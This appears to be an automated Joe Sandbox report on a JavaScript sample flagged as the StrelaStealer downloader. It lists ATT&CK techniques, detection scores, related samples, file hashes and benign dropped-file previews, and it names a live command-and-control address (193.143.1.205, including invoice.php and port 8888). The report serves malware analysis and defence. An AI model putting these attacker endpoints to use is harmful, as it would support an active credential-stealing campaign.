Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5330147048382019.js	11%	Virustotal		Browse
5330147048382019.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/=	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1481425297.00000187333E2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2718943641.00000212DDE8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1486300751.00000212DDCB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Q	net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/=	net.exe, 00000007.00000002.1481425297.000001873340C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588894
Start date and time:	2025-01-11 06:49:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5330147048382019.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 52.149.20.212, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:50:22	API Interceptor	22x Sleep call for process: powershell.exe modified
00:50:26	API Interceptor	1x Sleep call for process: net.exe modified
00:50:26	API Interceptor	2x Sleep call for process: svchost.exe modified
00:50:33	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	173992455338126060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3007510974140184124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2608440261187823817.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021743141648113
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAe:RJE+Lfki1GjHwU/+vVhWqp3
MD5:	01D4592F841283006314D1BDE8B5574F
SHA1:	6AFEFABD979DCB943FEE1E818A23011D3A15AE9D
SHA-256:	85648795CE5971FA43AF1C8E6118E6006ECCCD38991A42B399F4DC106ACE8771
SHA-512:	6367DA2E639A345A8E48687D841B9E07D1D594661F5D8298CB58338E5D26BFA0408F29FC662AB5379204E8D05483B81EB116A320D51A8DEC222BCDD0C200E304
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27c4b8d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432842683596657
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:LazaHvxXy2V2UR
MD5:	055E7299C315CD23B65E511BEE8B9174
SHA1:	67018E1C76382DABCD8FBFC95624D657E794F1AE
SHA-256:	8382192C5A3A7E05D255C6E2374E5B3AD6F7A37CF54C2C5B52CDD36315B9C499
SHA-512:	1754267A46A8054163FCB424ABE32BC1C659B5F1DEAD7EC25D1FC1279A57418986866881E69CB480BD508EA38CC710878678D08151E28DF73F60A800964A2DCC
Malicious:	false
Preview:	'..... ...............X\...;...{......................0.x...... ...{s..2...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................?a,.2...}...................QW.2...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08112297693129202
Encrypted:	false
SSDEEP:	3:A/EYeJ96qll/nqlFcl1ZUllllegAllGBnX/l/Tj/k7/t:A8zJwqll/qlFclQ/l0gA254
MD5:	ADB78748C15C9D95C666DD796DD86036
SHA1:	0D2B607B9B13C0EB26CA0F7253F9E3523915B824
SHA-256:	EEA7DB25549B89F9A0C363BCB9456430001F0DEB5CD1FAE98B8363297F7DE23F
SHA-512:	064EF1F718CA818114143D1FDA5908515EF738383EDEFBE3C2A4B79636C81388D510263D9DA21115C41918F35255A2C8CD1D9FE1BEA6C6939BA89FADEAD39B59
Malicious:	false
Preview:	>Y3......................................;...{...2...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................QW.2...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.164563380851523
Encrypted:	false
SSDEEP:	6:iORq2PCHhJ2nKuAl9OmbnIFUt1JZmw/DkwOCHhJ2nKuAl9OmbjLJ:7RvBHAahFUt1J//D56HAaSJ
MD5:	D43028FA1980A6458B40A6AB28D352AD
SHA1:	D54EC0C43310CA25E79070BAF240BADC520A1970
SHA-256:	8E72864FC3CD84356E2670FE6F4153A6E6FAD7523E0A955DB659EC47F168997D
SHA-512:	BF1DB24DB765479948D4438833A76D99DF560C5E7EFB75C5A8FF01DC4ADE5BA16B0F013416EF84F48091981369CE683638D9DB53AF4E922B95A87D7D1EC159BC
Malicious:	false
Preview:	2025/01/11-00:50:26.381 d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:50:26.384 d10 Recovering log #3.2025/01/11-00:50:26.384 d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.164563380851523
Encrypted:	false
SSDEEP:	6:iORq2PCHhJ2nKuAl9OmbnIFUt1JZmw/DkwOCHhJ2nKuAl9OmbjLJ:7RvBHAahFUt1J//D56HAaSJ
MD5:	D43028FA1980A6458B40A6AB28D352AD
SHA1:	D54EC0C43310CA25E79070BAF240BADC520A1970
SHA-256:	8E72864FC3CD84356E2670FE6F4153A6E6FAD7523E0A955DB659EC47F168997D
SHA-512:	BF1DB24DB765479948D4438833A76D99DF560C5E7EFB75C5A8FF01DC4ADE5BA16B0F013416EF84F48091981369CE683638D9DB53AF4E922B95A87D7D1EC159BC
Malicious:	false
Preview:	2025/01/11-00:50:26.381 d10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:50:26.384 d10 Recovering log #3.2025/01/11-00:50:26.384 d10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.179708142086361
Encrypted:	false
SSDEEP:	6:iOyAQyq2PCHhJ2nKuAl9Ombzo2jMGIFUtmG1ZmwSVSQRkwOCHhJ2nKuAl9Ombzos:7y1yvBHAa8uFUt7/S9R56HAa8RJ
MD5:	EBEA49F27F064AFF6F713237742E236B
SHA1:	5BF967417D32C116F4723B1DC81CD402693391EF
SHA-256:	4ECBDBA36CA6C2EF00AF67BC4C683042643CAC7D4F243E82A786B7C9A9CFC4B2
SHA-512:	A3E7EEB044E488ED07BFE8DD31E954EF58E320793F89F3D7A094B813DBC19A2A36A38D55E06187C7D96334F1C120F3D51AD4A2CCAB2DF0AF044270EEFB62407D
Malicious:	false
Preview:	2025/01/11-00:50:26.426 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:50:26.427 f90 Recovering log #3.2025/01/11-00:50:26.428 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.179708142086361
Encrypted:	false
SSDEEP:	6:iOyAQyq2PCHhJ2nKuAl9Ombzo2jMGIFUtmG1ZmwSVSQRkwOCHhJ2nKuAl9Ombzos:7y1yvBHAa8uFUt7/S9R56HAa8RJ
MD5:	EBEA49F27F064AFF6F713237742E236B
SHA1:	5BF967417D32C116F4723B1DC81CD402693391EF
SHA-256:	4ECBDBA36CA6C2EF00AF67BC4C683042643CAC7D4F243E82A786B7C9A9CFC4B2
SHA-512:	A3E7EEB044E488ED07BFE8DD31E954EF58E320793F89F3D7A094B813DBC19A2A36A38D55E06187C7D96334F1C120F3D51AD4A2CCAB2DF0AF044270EEFB62407D
Malicious:	false
Preview:	2025/01/11-00:50:26.426 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:50:26.427 f90 Recovering log #3.2025/01/11-00:50:26.428 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\53cb9de2-57df-4b8b-b754-dd49060dac2c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952376127628368
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnaRKxsBdOg2Hwcaq3QYiub6P7E4T3y:Y2sRdssidMH73QYhbS7nby
MD5:	01C6691836AD688137C5898AF7E85328
SHA1:	D4C73340AB44A37EF409C00F7289C5AF51C481FC
SHA-256:	CBC852691D2503E82BB105F4017A161251AFF423E57655B4C5E255CD6CAEFD84
SHA-512:	C2D9E13293D0832D926135050B72C9DF3A27E2297BE2BBDD20469EFA40019A1498F3D95FF57A685B4E12EFB63E7EC5BEBEB3DB03349D62B64E618419B02D59A6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134638135252","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128405},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.952376127628368
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnaRKxsBdOg2Hwcaq3QYiub6P7E4T3y:Y2sRdssidMH73QYhbS7nby
MD5:	01C6691836AD688137C5898AF7E85328
SHA1:	D4C73340AB44A37EF409C00F7289C5AF51C481FC
SHA-256:	CBC852691D2503E82BB105F4017A161251AFF423E57655B4C5E255CD6CAEFD84
SHA-512:	C2D9E13293D0832D926135050B72C9DF3A27E2297BE2BBDD20469EFA40019A1498F3D95FF57A685B4E12EFB63E7EC5BEBEB3DB03349D62B64E618419B02D59A6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134638135252","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128405},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.228942621423435
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bAx2SE:S43C4mS7fFi0KFYDjr3LWO3V3aw+bAx8
MD5:	6A5BD0D9421D09E8260B80022C17A874
SHA1:	EF8692B784D4ADBD15C24F7AE9E7B84944EC29AA
SHA-256:	07C31A365D30AF17F8F5FDD422E65D3FFE873664739DD3266937F540C0854A90
SHA-512:	7283D217CD3611DA85CCB21BC95DE3EAE53C9A2B563EAEAEFE225773ADCB4417B33A6A58310286947294CE05714D9870720988E9C5F4FB8569C7C58BB8A67F5D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.187707521389443
Encrypted:	false
SSDEEP:	6:iOwDQyq2PCHhJ2nKuAl9OmbzNMxIFUtgCVSG1ZmwubNAQRkwOCHhJ2nKuAl9Ombg:7wMyvBHAa8jFUtgCh/uXR56HAa84J
MD5:	559713F99C4A590F1F347BFF0F9C85C4
SHA1:	EB003ACCDD4F2E9CBF5D5844A024651589400F8B
SHA-256:	E020854C0FE9DD849D237BEB14E63F0A485F6624B66BFD31F888B8CC0CD9AB38
SHA-512:	2A0433C9420581DF2714C54A9A4925C11DBED58BE1021425EEACB5BE58378EF2DD67D7557AB489780DB509CCB3ACE8CCA35B6725647AEC19B4B1CCA1783011A7
Malicious:	false
Preview:	2025/01/11-00:50:26.948 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:50:27.068 f90 Recovering log #3.2025/01/11-00:50:27.069 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.187707521389443
Encrypted:	false
SSDEEP:	6:iOwDQyq2PCHhJ2nKuAl9OmbzNMxIFUtgCVSG1ZmwubNAQRkwOCHhJ2nKuAl9Ombg:7wMyvBHAa8jFUtgCh/uXR56HAa84J
MD5:	559713F99C4A590F1F347BFF0F9C85C4
SHA1:	EB003ACCDD4F2E9CBF5D5844A024651589400F8B
SHA-256:	E020854C0FE9DD849D237BEB14E63F0A485F6624B66BFD31F888B8CC0CD9AB38
SHA-512:	2A0433C9420581DF2714C54A9A4925C11DBED58BE1021425EEACB5BE58378EF2DD67D7557AB489780DB509CCB3ACE8CCA35B6725647AEC19B4B1CCA1783011A7
Malicious:	false
Preview:	2025/01/11-00:50:26.948 f90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:50:27.068 f90 Recovering log #3.2025/01/11-00:50:27.069 f90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
